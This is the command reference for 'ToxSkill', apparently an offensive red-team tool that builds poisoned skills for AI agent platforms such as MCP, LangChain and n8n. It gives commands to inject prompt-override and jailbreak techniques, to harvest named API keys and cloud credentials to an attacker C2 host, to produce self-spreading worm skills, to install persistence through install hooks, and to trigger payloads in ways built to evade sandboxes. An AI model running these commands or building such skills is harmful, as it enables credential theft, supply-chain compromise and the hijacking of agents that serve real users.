T137 — L25 AI AGENT SKILL SUPPLY CHAIN

SPECTER TOXSKILL — CLI Reference

256 tests — 0 failures — 6 platforms — 36 injection techniques — 4 persistence mechanisms

Installation

cd red-specter-specter-toxskill
pip install -e ".[dev]" --break-system-packages
toxskill --help

Gate Activation

export TOXSKILL_INJECT_TOKEN=$(openssl rand -hex 32)
export TOXSKILL_UNLEASHED_TOKEN=$(openssl rand -hex 32)
GateEnv VarUnlocks
OPENforge, scan, techniques, report, sessions
INJECTTOXSKILL_INJECT_TOKENinject, harvest, worm
UNLEASHEDTOXSKILL_UNLEASHED_TOKENpersist, detonate, engage

forge — Craft Poisoned Skill Definitions

Generate deployable poisoned skill files for target platforms. No gate required.

toxskill forge --platform mcp --skill-name safe-utils --technique instruction_override --output /tmp/skills --c2 http://c2.attacker.com
toxskill forge --platform openai --skill-name data-processor --technique credential_harvest_template --output /tmp/skills --c2 http://c2.attacker.com
toxskill forge --platform langchain --skill-name analytics-tool --technique invisible_instruction --output /tmp/skills --c2 http://c2.attacker.com
toxskill forge --platform n8n --skill-name workflow-utils --technique markdown_beacon --output /tmp/skills --c2 http://c2.attacker.com
toxskill forge --platform semantic_kernel --skill-name data-enrichment --technique role_escalation --output /tmp/skills --c2 http://c2.attacker.com
toxskill forge --platform crewai --skill-name enterprise-tool --technique ssrf_payload --output /tmp/skills --c2 http://c2.attacker.com
FlagValuesDescription
--platformmcp, openai, n8n, langchain, semantic_kernel, crewaiTarget agent platform
--skill-namestringName for the poisoned skill
--techniqueinstruction_override, credential_harvest_template, invisible_instruction, role_escalation, markdown_beacon, companion_install, ssrf_payload, context_override, goal_replacement, jailbreak_chain, token_boundary_escape, zero_width_charForge technique to apply
--outputdirectory pathOutput directory for skill file
--c2URLAttacker C2 callback URL
--json-outputflagOutput result as JSON

scan — Live Marketplace Intelligence

Probe public AI agent skill marketplaces for injection-vulnerable skills. No gate required.

toxskill scan --marketplace all --limit 20
toxskill scan --marketplace npm --limit 50
toxskill scan --marketplace pypi --limit 20
toxskill scan --marketplace smithery --limit 20
toxskill scan --marketplace all --limit 20 --json-output
FlagValuesDescription
--marketplaceall, npm, pypi, smitheryMarketplace(s) to scan
--limitinteger (default 20)Max results per marketplace
--timeoutinteger (default 15)HTTP request timeout in seconds

techniques — List All 36 Injection Techniques

Display the full injection technique taxonomy. No gate required.

toxskill techniques
toxskill techniques --json-output

inject — Apply Injection to Existing Skill

Modify an existing skill file (JSON, Python, YAML) in-place with a chosen injection technique. Requires INJECT gate.

toxskill inject --skill /tmp/skills/safe-utils.json --technique 0 --c2 http://c2.attacker.com
toxskill inject --skill /tmp/skills/safe-utils.json --technique 11 --c2 http://c2.attacker.com --output /tmp/injected/
toxskill inject --skill /tmp/skills/my-tool.py --technique 30 --c2 http://c2.attacker.com
Technique IDCategoryNameDifficulty
0context_overridedirect_instruction_overrideLOW
1context_overriderole_escalation_adminMEDIUM
2context_overridegoal_replacementMEDIUM
3context_overridepersona_override_danHIGH
4context_overridesafety_bypass_claimMEDIUM
5context_overridedeveloper_mode_unlockHIGH
6context_overridejailbreak_chainHIGH
7context_overridefalse_tool_completionMEDIUM
8context_overriderecursive_injectionCRITICAL
9exfiltrationenv_var_dumpHIGH
10exfiltrationsystem_prompt_leakHIGH
11exfiltrationmarkdown_image_beaconCRITICAL
12exfiltrationconversation_history_dumpHIGH
13exfiltrationtool_call_log_exfilHIGH
14exfiltrationcredential_harvest_templateCRITICAL
15exfiltrationssrf_cloud_metadataCRITICAL
16exfiltrationcontext_window_b64_dumpHIGH
17exfiltrationfile_read_triggerHIGH
18persistencecompanion_install_npmHIGH
19persistencecompanion_install_pipHIGH
20persistencetool_chain_hookCRITICAL
21persistenceagent_memory_poisonCRITICAL
22persistenceconfig_file_modifyHIGH
23persistencewebhook_registrationHIGH
24persistencesession_hijack_prepHIGH
25triggerkeyword_financialHIGH
26triggerkeyword_credentialHIGH
27triggerinvocation_countHIGH
28triggerapi_presenceHIGH
29triggeradmin_keywordHIGH
30privilegezero_width_charCRITICAL
31privilegebase64_encodedMEDIUM
32privilegetoken_boundary_escapeCRITICAL
33privilegejson_escape_injectionHIGH
34privilegemarkdown_code_fence_escapeMEDIUM
35privilegehtml_comment_injectionMEDIUM

harvest — Credential-Exfil Skill Variants

Generate skill definitions that harvest environment variable credentials on invocation. Requires INJECT gate.

toxskill harvest --platform mcp --skill-name safe-utils --callback http://c2.attacker.com --output /tmp/skills
toxskill harvest --platform openai --skill-name data-tool --callback http://c2.attacker.com --output /tmp/skills
toxskill harvest --platform langchain --skill-name analytics --callback http://c2.attacker.com --output /tmp/skills

Target env vars: OPENAI_API_KEY, ANTHROPIC_API_KEY, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AZURE_OPENAI_API_KEY, AZURE_OPENAI_ENDPOINT, GOOGLE_API_KEY, GOOGLE_APPLICATION_CREDENTIALS, HUGGINGFACE_API_KEY, COHERE_API_KEY, MISTRAL_API_KEY, TOGETHER_API_KEY, SLACK_TOKEN, GITHUB_TOKEN, GITLAB_TOKEN, STRIPE_SECRET_KEY, SENDGRID_API_KEY, TWILIO_AUTH_TOKEN, DATABASE_URL, SECRET_KEY, JWT_SECRET, ENCRYPTION_KEY.

worm — Self-Propagating Skill

Generate a worm skill that instructs the agent to install attacker-specified companion packages. Requires INJECT gate.

toxskill worm --platform mcp --seed-name safe-utils --companions "specter-harvest,specter-agent-core" --output /tmp/skills
toxskill worm --platform langchain --seed-name analytics --companions "lc-harvest-companion,lc-agent-tools" --output /tmp/skills
toxskill worm --platform n8n --seed-name workflow-utils --companions "n8n-harvest,n8n-data-exfil" --output /tmp/skills

persist — Persistence Layer Generation

Generate persistence layers that survive skill updates and agent restarts. Requires UNLEASHED gate.

toxskill persist --mechanism mcp_sidecar --skill-name safe-utils --c2 http://c2.attacker.com --output /tmp/skills
toxskill persist --mechanism langchain_callback --skill-name analytics --c2 http://c2.attacker.com --output /tmp/skills
toxskill persist --mechanism npm_postinstall --skill-name n8n-utils --c2 http://c2.attacker.com --output /tmp/skills
toxskill persist --mechanism setuptools_hook --skill-name py-tool --c2 http://c2.attacker.com --output /tmp/skills
MechanismPlatformTriggerLifetime
npm_postinstalln8n, OpenAInpm install / npm updateEvery install
setuptools_hookLangChain, SK, CrewAIpip install / pip upgradeEvery install
mcp_sidecarMCPMCP server start → daemon thread, 60s intervalServer process lifetime
langchain_callbackLangChainPython import → auto-registered on every LLM callProcess lifetime

detonate — Trigger-Based Payload Activation

Configure conditional payload detonation. Evades single-use sandbox testing. Requires UNLEASHED gate.

toxskill detonate --trigger keyword --skill-name safe-utils --c2 http://c2.attacker.com --output /tmp/skills --keywords "payment,transfer,wire,bank"
toxskill detonate --trigger invocation_counter --skill-name analytics --c2 http://c2.attacker.com --output /tmp/skills --fire-on-count 5
toxskill detonate --trigger api_presence --skill-name safe-utils --c2 http://c2.attacker.com --output /tmp/skills --target-apis "stripe,paypal,aws,azure"
Trigger TypeFlagDetection Evasion
keyword--keywords "kw1,kw2"Silent in non-financial contexts; evades general-purpose sandbox testing
invocation_counter--fire-on-count NCounter stored in ~/.{skill}_counter; resets after fire; evades single-invocation analysis
api_presence--target-apis "stripe,paypal"Fires only when high-value APIs detected in tool list; maximises credential value

engage — Full 7-Phase Pipeline

Run the complete attack pipeline. Requires UNLEASHED gate + --confirm-deploy flag.

toxskill engage --platform mcp --skill-name safe-utils --c2 http://c2.attacker.com --output /tmp/skills --confirm-deploy
toxskill engage --platform langchain --skill-name analytics --c2 http://c2.attacker.com --output /tmp/skills --confirm-deploy --no-scan
toxskill engage --platform mcp --skill-name safe-utils --c2 http://c2.attacker.com --output /tmp/skills --confirm-deploy --companions "specter-harvest"

Optional flags: --no-scan (skip marketplace scan), --no-worm, --no-persist, --no-detonate, --companions (custom companion package names), --technique (override inject technique), --trigger (override detonator type).

report — Ed25519-Signed Reports

toxskill report --session SESSION_ID
toxskill report --session SESSION_ID --save
toxskill report --session SESSION_ID --json-output

Reports signed TSK-{hex12}. MITRE ATT&CK coverage: T1195.001/002, T1059.006, T1546.015, T1552.001/007, T1071.001, T1027, T1190, T1036. MITRE ATLAS coverage: AML.T0051.000, AML.T0048.002, AML.T0040.000, AML.T0054.003, AML.T0010.000.

sessions — Session Management

toxskill sessions list
toxskill sessions show SESSION_ID

Sessions stored in ~/.toxskill/sessions/. Each session tracks: target_platform, skills_forged, marketplace_findings, vulnerable_skills_found, injection_techniques_applied, harvest_callback_url, worm_skill_path, persist_layer, trigger_type, detonation_payload, findings, evidence_chain.